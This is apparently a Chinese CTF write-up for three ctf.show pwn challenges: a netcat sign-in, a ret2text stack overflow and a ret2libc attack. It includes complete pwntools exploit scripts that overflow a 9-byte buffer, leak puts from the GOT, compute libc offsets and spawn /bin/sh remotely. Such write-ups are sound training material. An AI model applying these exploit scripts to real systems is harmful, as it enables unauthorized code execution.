pwn 签到题
nc 连上就有flag
pwn 02
简单的ret2txt
先检验一下文件
是32位文件
且只有堆栈不可执行保护
checksec 结果可参考checksec
在ubuntu上运行
存在栈溢出
用IDApro 32位 打开
首先看main函数
那么接着跟到pwnme函数
可以看到buf只有9个字节 而fgets读入了50个字节,所以就导致了栈溢出
进入char s
可以看到从第一个s开始输入只需输入9+4=13个脏数据
然后加上ret要返回的/bin/sh的地址即可得到shell
需要找到/bin/sh
发现了stack函数 所以只需要将ret指向stack函数首地址即可得到shell
故exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack") else : p = remote("pwn.challenge.ctf.show",28137) payload = b'a'*13 payload += p32(0x804850F) p.sendline(payload) p.interactive() main()
运行得到flag
pwn 03
ret2libc
同上
堆栈不可执行
拖入IDA,先看main函数
再看pwnme
存在栈溢出 进入s
需要输入9+4=13个脏数据 然后ret指向shellcode "/bin/sh"
但是程序里没有system函数,无法直接调用
这个时候就涉及到plt表和got表了 程序执行后,plt表里是got表的地址,got表是函数的真实地址 程序还未执行时,got表里还是plt表的地址 我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样 但也只是针对于地址中间位进行随机,最低的12位并不会发生改变 也就是我们需要获取到远程环境的函数的真实地址 进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
我们利用puts函数来进行这一步
exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack1") else: p = remote("pwn.challenge.ctf.show",28169) elf = ELF("./stack1") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr))
运行脚本
然后到libcsearch网站 libc database search
输入puts 和 得到地址的后三位
找到对应libc
进入得到偏移信息
最终exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack1") else: p = remote("pwn.challenge.ctf.show",28109) elf = ELF("./stack1") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr)) libcbase = get_addr - 0x067360 system_addr = libcbase + 0x03cd10 bin_sh = libcbase + 0x17b8cf payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh]) p.sendline(payload) p.interactive()main()
运行脚本得到flag